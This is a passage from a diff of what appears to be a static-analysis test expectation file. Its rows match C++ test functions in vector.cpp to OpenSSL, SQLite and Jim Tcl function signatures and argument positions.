vector_iterator_assign_wrapper | (const UI *,int) | | UI_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509 *,int) | | X509_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509 *,int) | | X509_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const XCHAR *,int) | CStringT | CStringT | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const YCHAR *,int) | CStringT | CStringT | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | DH_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | DSA_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | Jim_StrDupLen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | RSA_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | parse_yesno | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int *,int) | | X509_PURPOSE_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int *,int) | | X509_TRUST_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | BN_security_bits | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | EVP_MD_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | EVP_PKEY_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | acttab_alloc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (rule *,int) | | Configlist_add | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (rule *,int) | | Configlist_addbasis | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (uint16_t,int) | | tls1_group_id2nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | RAND_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (void *,int) | | DSO_dsobyaddr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (void *,int) | | sqlite3_realloc | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (wchar_t,int) | CStringT | CStringT | 1 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_tag2str | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Jim_SignalId | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | PKCS12_init | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Symbol_Nth | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_tolower | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_toupper | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_errstr | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | tls13_alert_code | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | SRP_VBASE_new | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | defossilize | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | make_uppercase | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | next_item | 0 | | vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | CStringT | CStringT | 0 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| vector.cpp:454:7:454:12 | memcpy | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| vector.cpp:454:7:454:12 | memcpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| vector.cpp:454:7:454:12 | memcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| vector.cpp:454:7:454:12 | memcpy | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| vector.cpp:454:7:454:12 | memcpy | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL_SESSION *,unsigned char *,size_t) | | 